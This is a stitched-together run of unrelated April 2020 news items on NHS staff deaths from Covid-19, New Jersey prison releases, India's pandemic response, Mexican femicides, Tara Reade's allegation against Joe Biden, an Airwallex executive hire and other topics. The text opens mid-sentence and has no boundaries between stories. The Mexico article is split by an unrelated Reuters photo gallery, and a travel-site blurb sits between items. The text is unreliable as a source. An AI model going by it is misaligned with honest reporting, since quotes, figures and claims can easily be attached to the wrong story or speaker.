Liverpool University Hospitals NHS Foundation Trust said. - Dr Alfa Saadu, doctor The 68-year-old, who had returned to work from retirement, died on April 6 at the Whittington Hospital in north London. - Jitendra Rathod, surgeon A 'highly regarded' associate specialist in cardiothoracic surgery at the University Hospital of Wales, Mr Rathod died on the morning of April 6. - Lynsay Coventry, midwife Princess Alexandra Hospital in Harlow, Essex, announced the death of the 54-year-old - the first involving a serving NHS midwife after testing positive for the virus - on April 5. - Emily Perugia, care worker A care co-ordinator in Hillingdon, north-west London, Ms Perugia was just 29 at the time of her death, which was confirmed on April 5. She was described by a colleague as a 'lovely woman, who never said no to any requests'. Ms Perugia's mother, sister, brother and fiance all work for the same NHS trust as her. - Glen Corbin, nurse The 59-year-old had worked at the Park Royal Centre for Mental Health in Harlesden, north-west London, for more than 25 years and his employer, the Central and North West London NHS Foundation Trust, announced his death on April 4. - Rebecca Mack, nurse The 29-year-old died on April 5, after going into self-isolation with symptoms. Her friend, Sarah Bredin-Kemp, said she was an 'incredible nurse'. - Liz Glanister, nurse Aintree University Hospital said the staff nurse died on April 3, with her family describing their loss as 'simply beyond words'. - Dr Anton Sebastianpillai, consultant The consultant geriatrician died on April 4, four days after being admitted to the intensive care unit and two weeks after completing his final shift on March 20, according to Kingston Hospital in south-west London. - Amanda Forde, GP receptionist In a statement on its website, Vale Practice in Crouch End, north London, paid tribute to a 'beautiful, caring receptionist'. It said: 'It is with great sadness that we are announcing the death of our beautiful, caring receptionist, Amanda Forde. She sadly lost her battle with Covid-19 on Friday 3rd April 2020. May she rest in peace.' - John Alagos, nurse The Mail On Sunday reported that the 27-year-old nurse, who treated coronavirus patients at Watford General Hospital, died after a shift on April 3. - Areema Nasreen, nurse Ms Nasreen, 36, died on April 2 in intensive care at Walsall Manor Hospital in the West Midlands, where she had worked for 16 years. - Professor Mohamed Sami Shousha, researcher The 79-year-old, who had worked at UK cancer research laboratories at London's Hammersmith and Charing Cross hospitals since 1978, died on April 2. His nephew, Abdelrahman Shousha, said his uncle returned to work to help fight the virus despite his age, adding: 'My uncle was characterised by his humbleness, virtue and his adamancy to help and serve, whether it be his family, friends, his colleagues or his students.' - Thomas Harvey, nurse The healthcare assistant, a father-of-seven who worked at Goodmayes Hospital in Ilford, east London, died at home on March 29, aged 57. - Dr Amged El-Hawrani, consultant Dr El-Hawrani was an ear, nose and throat consultant with University Hospitals of Derby and Burton NHS Foundation Trust. He died at Glenfield Hospital in Leicester on March 28, aged 55. - Pooja Sharma, pharmacist Ms Sharma, a pharmacist at Eastbourne District General Hospital, died unexpectedly on March 26, according to a JustGiving page created in her memory. - Dr Habib Zaidi, doctor The GP in Leigh-on-Sea died in intensive care at Southend Hospital, Essex, on March 25, aged 76. - Dr Adil El Tayar, transplant surgeon The 63-year-old died at West Middlesex University Hospital in Isleworth, west London, on March 25. He had been working as a locum surgeon. By John Koufos Its nearly impossible to practice social distancing in the most restrictive environments we have state prisons. COVID-19 is killing corrections officers and incarcerated people, including a New Jersey Department of Corrections officer earlier this month. The states must find a way to balance public health and public safety with carefully tailored policies. New Jersey has found this balance. Gov. Phil Murphy has issued Executive Order 124, which prioritizes public safety and victims rights, and capitalizes upon the states robust reentry infrastructure. Former New York Police Department Commissioner Bernard Kerik recently described the negative impact that wholesale and blanket releases will have on public safety; Gov. Murphys executive order avoids blanket released by instructing the New Jersey Department of Corrections to use its furlough power to place carefully selected people on home confinement. Before moving to Washington, DC, and joining Right On Crime, I spent much of my career in New Jersey as a criminal trial lawyer and as executive director of the New Jersey Reentry Corporation. I also served time in state prison for a non-fatal alcohol-related crash where one of my jobs was to clean the infirmary. Thats how I know social distancing in prison is virtually impossible and the environment is inherently unsanitary. The prison infirmary I worked in was not equipped to handle anything like COVID-19. Gov. Murphys executive order protects public safety by first excluding people who are serving time for committing, attempting, or conspiring to commit any of the 19 violent crimes outlined in the No Early Release Act. These are crimes like murder, sexual assault, kidnapping, robbery, arson, racketeering and aggravated assault. While most of the crimes that arent excluded will not ordinarily have a victim, the executive order ensures that victims rights are protected, by including prosecutors and victims in the release equation. This is a coordinated effort between the New Jersey State Parole Board, the Attorney Generals Office, and the individual county prosecutors offices. The executive order also requires the involvement of New Jerseys robust reentry infrastructure, to ensure that those released will have the tools and support they need to be law-abiding citizens. The government agencies and community providers include the New Jersey Reentry Corporation and Volunteers of America, which cover most of the state. Those providers and government agencies and nonprofits will help provide housing, food, behavioral health treatment, mentoring, workforce development and other critical services. The executive order requires both a community sponsor and a proposed supervision plan for each released inmate. This requirement builds upon the recently enacted Earn Your Way Out Act. The executive order also prioritizes check-ins by phone and electronic monitoring and requires verification of critical parts of the proposed supervision plan, including housing and social services. The New Jersey Department of Corrections is required to issue a temporary prisoner identification card and assist with applications for SNAP, Medicaid, and the WorkFirst NJ programs to guide these people toward self-sufficiency. Gov. Murphys executive order also streamlines his cabinet to coordinate services, which is critical for effective reentry. Our team at Right On Crime has worked with governors across the country to help streamline reentry services through our Safe Streets & Second Chances project. By coordinating systems, the state saves money and time, and can deliver services that lead to self-sufficiency faster. Coordinated systems and services can prevent drop-off and attrition, which leads to recidivism. Fewer former inmates fall through the cracks. Balancing public safety and public health in the COVID-19 crisis is not easy, especially in a state that has been hit as hard as New Jersey. Gov. Murphys executive order has found a way to prioritize public safety while allowing for the release for a specific population which makes more sense than general release. New Jerseys prison system, corrections officers and incarcerated people should benefit from this. John Koufos is the National Director of Reentry Initiatives at Right on Crime, and the Executive Director of Safe Streets & Second Chances. He was previously Certified by the New Jersey Supreme Court as a Criminal Trial Attorney and served as Executive Director of the New Jersey Reentry Corporation. Follow John on twitter @jgkoufos New Delhi, April 28 : The Union Health Ministry on Tuesday said number of cases of Covid-19 re-infection is very minuscule world-wide, and in the absence of any conclusive evidence, patients certified as cured through RT-PCR test are perfectly alright. At the daily briefing, Joint Secretary, Health, Lav Agarwal, said: "Globally, number of cases of Covid-19 re-infection is very minuscule; hence, in absence of conclusive evidence, we have to surely consider that those patients who have been certified as cured as per RT-PCR - the gold standard for Covid-19 - are perfectly alright." Citing the increase in doubling time of cases, Agarwal added that the doubling time of cornavirus cases in India was 3-3.25 days before the lockdown, and now is around 10.2 days. "This is mainly because of our focus on containment, physical distancing and lockdown measures," he added. He insisted that if a Covid-19 patient is found to be infected at any health facility, the facility can be reused after proper disinfection procedures. Similarly, workplaces where positive patients were found can be used after proper disinfection, Agarwal added. Earlier during the day, Health Minister Dr. Harsh Vardhan in a meeting with Department of Biotechnology and its 18 autonomous bodies and PSUs, asked them to fast-track development of antibody detection kits, RT-PCR detection kits and Covid-19 vaccine, under the 'Make in India' initiative. The Health Ministry said that in the last 24 hours, 1,543 new Covid-19 cases were reported, taking the total number of cases to 29,435. Latest updates on Coronavirus (COVID-19) -- The story has been published from a wire feed without any modifications to the text To make the logistics work, Ms. Ebenstein said her team had to ensure that not only expert witnesses but also the plaintiffs seeking to regain their voting rights had the proper equipment to join the trial. Lawyers sent some of the potential witnesses laptops. They have spent the past week practicing to make sure the hardware, software and internet connections all function. Marq Mitchell, one of the plaintiffs, worried that his unpredictable internet might falter during the trial. Hopefully it works, he said. Florida voters resoundingly approved Amendment 4, an amendment to the State Constitution, in 2018. It restored the voting rights of people who had committed serious crimes, other than murder or sexual offenses, done their time and completed probation. Last year, the Republican-controlled legislature passed a bill signed by Gov. Ron DeSantis, also a Republican, requiring the payment of court fines, fees and other financial obligations before a felony sentence could be considered fully completed. Some of the debts amount to tens of thousands of dollars. Civil rights groups saw the law was as an attempt to suppress voting by those convicted of felonies, especially African-Americans and Hispanics who might support Democrats. Tiny margins often decide major political contests in Florida, the nations largest presidential swing state. Mr. Mitchell, 30, voted for the first time in his life in the presidential primary, held in Florida on March 17, at the start of the coronavirus pandemic. He cast his ballot in person in Fort Lauderdale and brought along his cousin so they could both vote. That was great, Mr. Mitchell said. I felt extremely empowered, because I understood that I had the ability to determine who would possibly represent our country in a way that Id never been able to before. Copyright 2020 Albuquerque Journal In the latest move in his decadeslong education career, Scott Elder will become the acting superintendent of Albuquerque Public Schools, boosting his salary from $152,000 to $225,000 a year. The current chief operations officer will step into the role July 1 after Superintendent Raquel Reedy retires. Reedy served as an interim before she officially took over the district, and during that period she made $200,000 a year, according to APS. Elders contract says his $225,000 annual salary that is subject to budget approval can be increased if teachers get a raise. It outlines Elders term from July 1 to June 30, 2021, or when a permanent superintendent is hired. In the event the contract is not renewed or extended, or when a permanent superintendent is employed, the acting superintendent shall continue to be employed by the district until at least June 30, 2022, in the administrative capacity as chief operations officer at the COO yearly salary for which he was previously employed, the contract says. The 53-year-old has been the COO for four years. Reedy selected him for the role on a temporary basis after his predecessor died. Later, he was chosen to fill the role permantently. Former teacher Before he worked in APS main office, Elder had a career in schools that started in the 90s. But at first, the native New Mexican says, he didnt know he wanted to go into education. When I came out of college, I sort of had the idea that I was maybe going to be an attorney because I liked the speaking aspect and the deep-thinking aspect, he said. But I really didnt want to jump right into more schooling, so I took some time off. And in that interim, just to really do something, I did a little substitute teaching and discovered that I really liked being around kids and I really liked the energy of schools. After getting his license to teach, he began teaching at Highland High School in 1991. That began a nearly 30-year education career that included stints as principal at McKinley Middle School and Highland and Sandia high schools. He told the Journal that some of his greatest professional achievements were at these schools, including bringing Highlands graduation rate up 17 percentage points and boosting attendance at McKinley. Both of his sons attended Sandia. Elder went to Albuquerque Academy. APS family tree Elders family has a long history with Albuquerque Public Schools. My mother worked for the district for 20 years. She was the graphics illustrator and worked down in graphics for quite a while, he said. Elders grandfather was a school board member off and on from 1945 through 1969, he said. And his understanding is that his great-grandfather was also a board member, starting in 1892. Weve been tied into APS for a very long time, he said. His wife of 26 years, Deborah Elder, is APS executive director for innovation. Passing the torch About a week ago, the APS Board of Education named Elder acting superintendent. He described his leadership style as honest, open-minded and decisive, later adding collaborative to the list. Elder says he wants to remove barriers for students and staff and to help them do their jobs effectively. And he doesnt anticipate turning processes upside down when he takes over. Im not going in to whip up some change. I think change is just an inevitability of what is going on in the world around us, he said, referring to the COVID-19 pandemic. Elder says he and Reedy share a devotion to the APS community, but where they differ is in decision-making. Shes probably more willing than I am to wait on a decision and really build more consensus. I think she has great patience, and I think sometimes I get impatient, he said. That may be a difference. I like to get things to move, and thats good sometimes, and sometimes it has its drawbacks. Board votes 5-1 The APS Board of Education approved Elders contract Monday morning, discussing the details behind closed doors and voting in public. Tension swirled when it came time to cast votes, which ultimately resulted in a 5-1 decision. Board member Lorenzo Garcia was not present and member Peggy Muller-Aragon voted no. Muller-Aragon said she opted out of the executive session and voted no because she believes the public should have been privy to the salary information before the board voted. TravelParanormal.com allows you to submit your own creepy tale or debunk one - or see up-to-the-minute news headlines about travel and the paranormal. News Headlines from All Over Oregon Need to scan Oregon headlines? Constantly updated news from all over Oregon: a comprehensive, up-to-the-minute display of news headlines from a variety of media Oregon Coast Oceanfront Lodging, Hotels, Rentals A Guide to Oregon Coast Seafood Restaurants, Dining Find us on Google+ NITI Aayog CEO Amitabh Kant has identified Delhi, Mumbai, Ahmedabad, Indore, Hyderabad, Pune and Jaipur among the 15 places of 'high case load', and said India's success in battling COVID-19 is dependent on them New Delhi: NITI Aayog CEO Amitabh Kant has identified 15 places including Delhi, Mumbai and Ahmedabad as "high case load" and said India's success in battling COVID-19 is dependent on them. Out of these 15, seven districts show particularly high case volumes, like Hyderabad (Telangana), Pune (Maharashtra), Jaipur (Rajasthan), Indore (Madhya Pradesh), Ahmedabad (Gujarat), Mumbai (Maharashtra) and Delhi. Other high case load places that are "critical" in the battle against COVID-19 include Vadodara (Gujarat), Kurnool (Andhra Pradesh), Bhopal (Madhya Pradesh), Jodhpur (Rajasthan), Agra (Uttar Pradesh), Thane (Maharashtra), Chennai (Tamil Nadu) and Surat (Gujarat). "These 15 districts are critical in our battle against #Covid_19 Of them 7 show particularly high case volumes. India's success in battling COVID-19 is dependent on them. We must aggressively monitor, contain, test, treat in these districts! We must win here," Kant said in a tweet. India has been under lockdown since March 25 to combat the spread of coronavirus, which has infected more than 29,000 people in the country. More than 900 people have died due to the deadly virus. Click here for Coronavirus Outbreak LIVE Updates The government had on March 29 constituted 11 empowered groups to suggest measures to ramp up healthcare, put the economy back on track and reduce misery of people as quickly as possible post the 21-day lockdown imposed to contain the coronavirus pandemic. Kant, heads the Empowered Group (EG 6) on coordinating with private sector NGOs and international organisations. Almost one thousand women were murdered in Mexico in the first three months of the year, new figures show. The news comes as campaigners warn the country is witnessing a rise in domestic abuse in the wake of the coronavirus emergency. Government figures show the number of women killed was 8 per cent higher than in the same time period last year. At least 720 women were murdered in the first quarter of the year and 244 women were victims of femicide, the government said. Femicides, defined as the gender-motivated killing of women, are prevalent in Mexico and the femicide rate has more than doubled in the past five years. Campaigners are fearful that troubling rates of violence could increase during the coronavirus lockdown, which has seen measures extended until at least the end of May. Inside US hospital: A day fighting the coronavirus Show all 13 1 /13 Inside US hospital: A day fighting the coronavirus Inside US hospital: A day fighting the coronavirus Cheryll Mack, 46, a registered nurse in the emergency department, poses for a photograph after a 12-hour shift outside the hospital where she works. "The Covid-19 spread has affected a lot of livelihood, a lot of people's lives. It has created a crisis, death in general. So I would like to ask not one single person, but all people worldwide, to converge and join the platform that this is something that nobody can fight individually," said Mack. Reuters Inside US hospital: A day fighting the coronavirus Dr Laura Bontempo, 50, an emergency medicine doctor wears her personal protective equipment she uses when she sees patients, while posing for a photograph after a nine-hour shift, outside the hospital. "The hardest moments have actually been separating families from patients, there is a no-visitor policy now and taking people away from their loved ones is very challenging," Bontempo said. "I'm used to treating sick patients. I treat sick patients all the time. It's very different knowing that the patient you are treating, is actually a risk to you as well. That's the main difference here. No one who works in hospitals is afraid of treating sick people. Just want to keep staff safe and the patients safe at the same time." Reuters Inside US hospital: A day fighting the coronavirus Ernest Capadngan, 29, a registered nurse who works at a biocontainment unit poses for a photograph after a 12-hour shift, outside the hospital. "The hardest moment during the shift was just seeing Covid patients die helpless and without their family members beside them," Capadngan said. Reuters Inside US hospital: A day fighting the coronavirus Martine Bell, 41, a nurse practitioner in an emergency department, poses for a photograph after a six-hour shift outside the hospital where she works. "The hardest thing in all of this, has been taking care of fellow healthcare providers. It really hits home and it's really scary when you see someone that could be you coming in and now you're taking care of them. It's also hitting home that once healthcare providers start getting sick, who is going to be taking care of the public," Bell said. "It's very stressful, everyone is on edge. We don't know who's coming in next, or how sick they're going to be, or if we are going to get a whole bunch of people or if we're not going to get no one. It's a really stressful and just a completely unusual time for all of us." Reuters Inside US hospital: A day fighting the coronavirus Kaitlyn Martiniano, 25, a registered nurse who works at a biocontainment poses for a photograph after a 12.5-hour shift, outside the hospital. "We have a lot of patients and they are pretty sick right now but we have not yet been hit as hard as New York or Seattle, so I feel like we are very lucky with that so far. Every day you have to just be optimistic." Said Martiniano. "I think the reason that we are not being hit as hard right now is because so many things are closed, and because so many people are staying at home." Reuters Inside US hospital: A day fighting the coronavirus Tracey Wilson, 53, a nurse practitioner in an intensive care unit (ICU), poses for a photograph after a 12-hour shift, outside the hospital where she works. "I had a patient fall out of bed today and I had to call his wife and tell her and she couldn't come see him, even though she pleaded and begged to come see him," Wilson said. "There is a lot of unknowns and with that unknown is a lot of anxiety and stress that we're not used to dealing with." Reuters Inside US hospital: A day fighting the coronavirus Meghan Sheehan, 27, a nurse practitioner in an emergency department, poses for a photograph after a 12-hour shift, outside the hospital where she works. "I think the hardest moment has been the fear that lives within all of us. There is a lot of unknown right now. We fear what's going to happen tomorrow, how the emergency department will look next week when we come in. We have fears about our own colleagues, whether they will fall ill. We also fear that we could be asymptomatic carriers and bring this virus home to our families and our loved ones. There has been a lot of fear over our supplies and whether we'll run out. And then obviously there is the fear that we will see patients and not be able to do everything we normally can to help save patients' lives," Sheehan said. Reuters Inside US hospital: A day fighting the coronavirus Kimberly Bowers, 44, a nurse practitioner in an ICU, poses for a photograph after a 13-hour shift, outside the hospital. "The hardest moment was a young woman who died and her family wasn't able to be here with her," Bowers said. "I think right now, it's just frustrating and scary just not knowing what comes next." Reuters Inside US hospital: A day fighting the coronavirus Tiffany Fare, 25, a registered nurse who works at a biocontainment unit poses for a photograph after a 13-hour shift, outside the hospital where she works. "One of the hardest moments was having to see a family member of a Covid patient, say goodbye over an iPad, rooms away. That was a tough one, I can't imagine how hard it would be to be saying goodbye, you can't see your loved one and then they're gone," Fare said. "My team has been really great to me. We've worked really well together and we've really come together in this crisis. We don't really know each other, we all come from different units within the same hospital, so for us to come together and work so well as a team, it's been a journey but I think that's what is giving me hope." Reuters Inside US hospital: A day fighting the coronavirus Dr Kyle Fischer, 35, an emergency medicine doctor, poses for a photograph after a 12-hour shift, outside the hospital where he works. "Since it's a new virus, we don't have any experience with it. For most diseases I am used to seeing it and taking care of it and this, I don't have any starting place. I know what I'm hearing from New York, I've read all of the papers it seems like, but no one knows what the correct answers are, so there's a huge amount of uncertainty and people are really, really sick. So it's hard to second guess whether or not you are doing the right thing when you think you are but you never quite know," said Fischer. Reuters Inside US hospital: A day fighting the coronavirus Julia Trainor, 23, a registered nurse at a surgical ICU, poses for a photograph after a 14-hour shift, outside the hospital. "The hardest moment was having to put a breathing tube in my patient who could no longer breathe for herself and after the breathing tube went in, we called her family and the husband, of course, couldn't visit her because of visitor restrictions at the hospital. So I had to put him on the phone and hold the phone to her ear, as he told her that he loved her so much and then I had to wipe away her tears as she was crying," said Trainor. "I'm used to seeing very sick patients and I'm used to patients dying but nothing quite like this. In the flip of a switch, without the support, they're completely isolated. They're very sick. Some of them recover and some of them don't. But the hardest part, I would think, is them having to go through this feeling like they are alone." Reuters Inside US hospital: A day fighting the coronavirus Lisa Mehring, 45, a registered nurse who works in a biocontainment unit with Covid-19 patients, poses for a photograph after a 12.5-hour shift, outside the hospital where she works in Maryland. "Seeing these new moms have babies has been the hardest moment along with having do their pumping for the new moms and them not being able to be with their newborn children, it's hard to think of the family that they are missing," Mehring said. Photos Reuters Inside US hospital: A day fighting the coronavirus Jacqueline Hamil, 30, a registered nurse in an emergency department, poses for a photograph after a 12-hour shift outside the hospital. "The hardest moment of my shift today, I was in charge, and we had a really sick patient that was in a really, really small room and usually, when we have sick crashing patients, we can have a ton of resources and a ton of staff go in and help with the nurse and the doctors that are taking care of that patient. But due to the patient being ruled out for the coronavirus, we could only have five or six people in the room at a time and putting on all the gowns and gloves and masks and face shields to protect us in case the patient does have coronavirus, it takes a while, so the nurse that was in there, ended up being in the room for you know 6, 7 hours with minimal breaks and it was hard being in charge and knowing that she was stuck in the room and really nothing I could do to help her," Hamil said. Reuters Patricia Olamendi, a lawyer who represents victims of violence and has written protocols on femicide investigations, said: Its terrible. I think many more women could die because of violence than Covid in this period. There is a complete and absolute abandonment. What is happening in the country is inhumane. Ms Olamendi said the Mexican government has yet to release a plan to tackle the spike in domestic abuse amid the Covid-19 emergency. Martha Tagle, from the opposition Citizens Movement party, said: The deadliest pandemic for women in our country, more than the coronavirus, is feminicidal violence. Today, violence is the greatest threat to all the rights for women that we have had recognised with great effort. Calls and messages sent to the National Network of Shelters a network of almost 70 refuges for women who have suffered violence rose more than 80 per cent between mid-March and the mid-April when compared to the previous month. Jacqui Hunt, director of Equality Now, a non-government organisation (NGO) that aims to promote the rights of women and girls around the world, told The Independent: Mexico already suffers from high rates of domestic violence and femicide, with the majority of murder cases going unsolved and prosecution rates remaining dismally low. Now the Covid-19 pandemic is placing women and girls at heightened risk in a country already blighted by a plague of gender-based violence. The appalling increase in the number of women murdered in Mexico since the start of 2020 should be seized upon as a watershed moment in which the government finally steps up to address the root causes of harm against women. In its responses to Covid-19, the Mexican government must address the particular vulnerabilities of women and girls. Efforts to eradicate sexual and gender-based violence should be ramped up with strict enforcement and this should be accompanied by information campaigns that educate audiences and make clear that crimes will be investigated and offenders punished. Ms Hunt called for police authorities to work closely alongside organisations which help women and girls as well as urging the government to roll out additional state funding to make sure those locked up with their abusers can access safe housing and other specialist support. Violence against women and girls is a major problem in Mexico with official data reporting an average of 10 women were killed a day in Mexico in 2018. Some 44 per cent of women have suffered violence from a partner and 66 per cent of women have experienced some form of violence during their life, according to the Mexican Institute of Statistics and Geography. Additional reporting by Reuters Even as the financial hub of the country, Mumbai, staggers under a steep surge of the Wuhan Coronavirus cases, 10 foreign nationals from Indonesia, who had attended the Tablighi Jamaat event at Markaz Nizamuddin in mid-March were arrested from the city under relevant IPC sections after completion of their quarantine period. The arrested 10 Indonesians were a part of 12 Tablighi Jamaat members from Indonesia who were staying at an apartment in Mumbais Bandra West from the 29th of March after attending the Jamaat meet, an official privy to the details of the arrest said. The official added that the police came to know about Tablighi Jamaat members staying in Bandra only on the 1st of April. We discovered that they had travelled to India in two groups on February 29 and March 3 and later visited the Markaz for the congregation, he said. Raising alarm about the possible spread of the virus in the city, the official said that though the Jamaat members had reached Mumbai on March 7, they hunkered down in an apartment only on March 29, implying that they might have been wandering around the city during the 22 days. During their medical examination, two members of the 12-member group tested positive for coronavirus, following which 10 others were placed under quarantine for a period of 20 days. They were arrested on Wednesday (April 22), he said. They are arrested under sections 188 (Disobedience to order duly promulgated by a public servant), 269 (Negligent act likely to spread infection of disease that is dangerous to life) and 270 (Malignant act likely to spread infection of disease dangerous to life) of the Indian Penal Code (IPC), and under relevant provisions of the Epidemic Diseases Act. They were brought before the Bandra court on April 23 which sent them in the custody of the Bandra police. Mumbai has emerged as the potent coronavirus hotspots in the country, with the number of cases registered in the financial capital is witnessing a sudden uptick. According to the latest statistics, the total number of positive coronavirus in the metropolis stands at 5407 and the overall death toll at 204. This years consolidated budget of Ukraine in January-March was executed with a deficit of 639 million dollars In January-March 2020, the deficit of Ukraine's state budget amounted to 1.18 billion dollars, which is 1.25 times higher than in the same period last year. Such data are presented on the website of Ukraines State Treasury Service. This year's consolidated budget of Ukraine in January-March was executed with a deficit of 639.2 million dollars, which is 1.9 times higher than the deficit that was recorded during the same period of 2019 - in the amount of 330 million dollars. At that time, the state budget deficit in January-March reached 966.7 million dollars. As we reported earlier, Ukraine's Minister of Finance Serhiy Marchenko said that Ukraine was counting on two tranches from the International Monetary Fund for a total of 3.5 billion dollars in 2020. "By the end of the year, $ 3.5 billion is expected. At the moment, we are talking about two tranches of 1.75 billion dollars," the minister said. According to him, the final sum is still a matter of discussion and Ukraine wants to increase it. The total amount under the EFF program is $8 billion. The former Senate staffer who is accusing Joe Biden of sexually assaulting her in the 1990s lashed out at Hillary Clinton's endorsement Tuesday of the presumptive Democratic nominee. 'I voted for Hillary Clinton in 2016. I voted for her in the primary. I'm a lifelong Democrat,' Biden accuser Tara Reade told FoxNews.com shortly after Clinton made the endorsement official. 'But yet, what I see now is someone enabling a sexual predator and it was my former boss, Joe Biden, who raped me.' Biden's campaign has explicitly denied Reade's accusation - but there are fresh calls for him to address it personally, with several new sources corroborating the ex-staffer's account in media reports this week. Tara Reade told FoxNews.com Tuesday that Hillary Clinton had 'enabl[ed] a sexual predator' by endorsing Joe Biden's presidential run Biden (left) received the endorsement of Clinton (right), the Democrats' 2016 presidential nominee, via livestream on Tuesday, as both Democrats are stuck at home due to the current coronavirus crisis Tara Reade, who posted a photo of herself in 1993 in a tweet earlier this month, has accused Biden of sexually assaulting her when she worked for him during that year Biden's campaign has explicitly denied Reade's accusations, but with new associates of the ex-staffer corroborating her story, there are fresh calls for the presumptive Democratic nominee to address the allegations 'Hillary Clinton has a history of enabling powerful men to cover up their sexual predatory behaviors and their inappropriate sexual misconduct,' Reade went on. 'We don't need that for this country. We don't need that for our new generation coming up that wants institutional rape culture to change.' Clinton joined Biden on his livestream Tuesday to give the official nod to his campaign. 'I am thrilled to be part of your campaign, not only to endorse you, but to help highlight a lot of the issues that are at stake in this presidential election,' Clinton told the former vice president, who introduced her as 'the woman who should be president of the United States.' On Monday, Biden's team had announced a Women's Town Hall with a 'special guest.' Two hours before showtime, Clinton sent out a tweet suggesting it was her. 'A little hint about who the surprise guest will be for Joe Biden's 3pm ET town hall today,' she tweeted. She included a picture of the two of them together in the Oval Office alongside President Barack Obama. '(She's excited.)' Clinton added. The joint appearance comes as Biden has all-but locked up the Democratic nomination and received a flurry of endorsements from prominent party membrs including House Speaker Nancy Pelosi on Monday, and earlier this month President Barack Obama and Elizabeth Warren, another 2020 rival. Those endorsements were prompted by Bernie Sanders dropping out of the race and endorsing Biden five days later. But while Biden's sealed the primary up, his campaign has had to deal with the drip, drip, drip from Reade's claims. 'I will not be smeared, dismissed or ignored. I stand in truth and I will keep speaking out,' she said to Fox Tuesday. This week, a neighbor of Reade told Insider that she recalled hearing about the ex-Biden staffer's alleged assault during the era in which Reade said the incident occurred. 'This happened, and I know it did because I remember talking about it,' she told the publication. Another source, a woman named Lorraine Sanchez who worked with Reade in the office of a state senator in the mid 1990s, told the publication that she recalled Reade saying she was fired after raising concerns about sexual harassment from her former boss. These women came forward after a clip came out that allegedly includes the voice of Reade's mother phoning into 'Larry King Live' in 1993 and asking if her daughter should go to the press about a 'prominent senator' behaving badly. Reade, who was among the women who came out last year with stories about Biden being too handsy, said she was assaulted by the former U.S. senator in 1993 in a Capitol Hill hallway. Reade's first accounts of the alleged assault were told to Katie Halper for her 'Katie Halper Show' podcast. She was also interviewed by Hill.TV and Vox. Reade told Halper that the assault occurred after she was told to deliver a gym bag to the then-senator. Reade said she tracked down Biden on Capitol Hill and he remembered her name. 'And then we were alone. And it was the strangest thing. There was no, like, exchange really, he just had me up against the wall,' she said. She said she was wearing a work skirt, but no pantyhose. 'He just had me up against the wall and the wall was cold,' she said. 'His hands were on me and underneath my clothes. He went down my skirt and then up inside it and he penetrated me with his fingers. He was kissing me at the same time,' she said. She said that when she 'pulled back,' Biden 'looked annoyed.' Reade said Biden said to her, 'Come on man, I heard you liked me.' Biden was married to his second and current wife, Jill, at the time. 'He implied that I had done this,' Reade told the podcast host. 'You're nothing to me,' she claimed Biden said to her. 'Nothing.' Reade shared her interview with Halper on her now-locked Twitter account adding, 'Please stay in Bernie.' She supported Sanders over Biden in the 2020 Democratic primary. President Trump has faced a myriad of sexual assault and harassment allegations too. He's denied all of them. But he apologized for the release of the infamous 'Access Hollywood' tape where he boasted about being a celebrity and said that meant he could do anything to women, including 'grab them by the p****.' He argued, however, that Hillary Clinton, his 2016 general election rival, was worse because she helped her husband, President Bill Clinton, get away with sexual misdeeds - while Trump merely engaged in 'locker room talk.' Trump famously paraded around some of Bill Clinton's accusers at the second presidential debate on the heels of the 'Access Hollywood' tape's release. At the time it appeared to be a hail Mary pass, as many believed the tape would tank the GOP nominee's campaign. While Reade connected Clinton to her husband's misdeeds in her interview with Fox, President Trump's campaign didn't go there on Tuesday. 'There is no greater concentration of Democrat establishment than Joe Biden and Hillary Clinton together. Both of them carry the baggage of decades in the Washington swamp and both of them schemed to keep the Democrat nomination from Bernie Sanders,' said Trump's campaign manager Brad Parscale in a statement sent out Tuesday. 'President Trump beat her once and now he'll beat her chosen candidate.' [April 28, 2020] Airwallex Bolsters Leadership Team with Global Brand Veteran HONG KONG, April 29, 2020 /PRNewswire/ -- Global fintech leader Airwallex today announced that Susan Ho has joined its team as SVP Brand, Communications and Partnerships to drive the group's efforts to build a world-class brand and reputation, strengthen strategic partnerships and expand its global business. Ho's appointment follows Airwallex's recent announcement about its record US$160million Series D fundraising to accelerate worldwide growth plans through customer acquisition and licensing, further product development and acquisitions to fast-track offerings. Jack Zhang, CEO and Co-founder of Airwallex, reiterated, "The world is becoming increasingly digital and current conditions demand that global businesses reassess how they operate, particularly with regards to the kinds of financial services solutions they use." "Susan's appointment signals our ambition to strengthen the Airwallex brand and position ourselves to be the preferred financial services platform for clients today and businesses of the future." Zhang said. Ho added, "Anyone interested in operating their business better and more efficiently sould consider Airwallex. What attracted me to Airwallex was the strength of its products and technology infrastructure, and calibre of the people. I am excited to be part of a team who continues to revolutionise how businesses will use financial services." Ho was formerly Head of Brunswick's Hong Kong office where she was instrumental in building a premium reputation for the corporate advisory firm amongst its clients and staff. Prior to that, Ho came from a long career in Standard Chartered Bank, working in its corporate and retail banking business and leaving a legacy of the bank's brand promise "Here for good" and its Liverpool FC sponsorship. Ho is Malaysian-Chinese and currently serves as Governor at Maggie's Cancer Centre and Board Director of AFS Hong Kong Cultural Exchange. Airwallex also recently expanded Kai Wu's role to Greater China CEO on top of his CFO responsibilities, in a progression of steps to strengthen its management bench. This follows another recent high-profile appointment, Jeanette Chan, one of Asia Pacific's most reputed legal advisors, as Chief Compliance Officer and General Counsel. NOTES TO MEDIA For further information You can access images of Susan Ho, Kai Wu and Jeanette Chan here . If you have any questions or would like to request further information, please contact Kristen Wang, Airwallex at [email protected]. About Airwallex Airwallex was founded in Melbourne, Australia in 2015 with a simple goal - to push the boundaries of global financial services capabilities in an increasingly borderless world. Airwallex has since secured over $360 million USD in external funding, supported by top-tier investors including Tencent, Sequoia Capital China, DST Global, Hillhouse Capital, Horizons Ventures, ANZi Ventures, Square Peg Capital, Gobi Partners and Salesforce Ventures. The company's core strength lies in its proprietary tech-driven infrastructure to enable low-cost, high-speed and transparent international collections and payments (accessible via API), its business account and borderless card which helps businesses grow both domestically and internationally. Airwallex has grown to over 420 employees across 10 international offices (Melbourne, Hong Kong, Shanghai, Shenzhen, Beijing, Singapore, London, San Francisco, Tokyo and Bangalore). www.airwallex.com Photo - https://photos.prnasia.com/prnh/20200428/2788428-1-a SOURCE Airwallex [ Back To TMCnet.com's Homepage ] Metro Manila (CNN Philippines, April 28) National Security Adviser Hermogenes Esperon has thrown his support behind President Rodrigo Duterte's decision to end peace talks with the New People's Army. Esperon cited continuing violent acts by the rebel group as basis to say they were not sincere in pursing peace with the government. He said despite resumption of peace efforts with the NPA, there were violations committed by the group. "Hindi mo talaga mabigyan ng ceasefire ang mga ito [You cannot give them a ceasefire]," he said, adding that he and Defense Secretary Delfin Lorenza, along with other members of the security sector, have long recommended the cessation of peace talks. 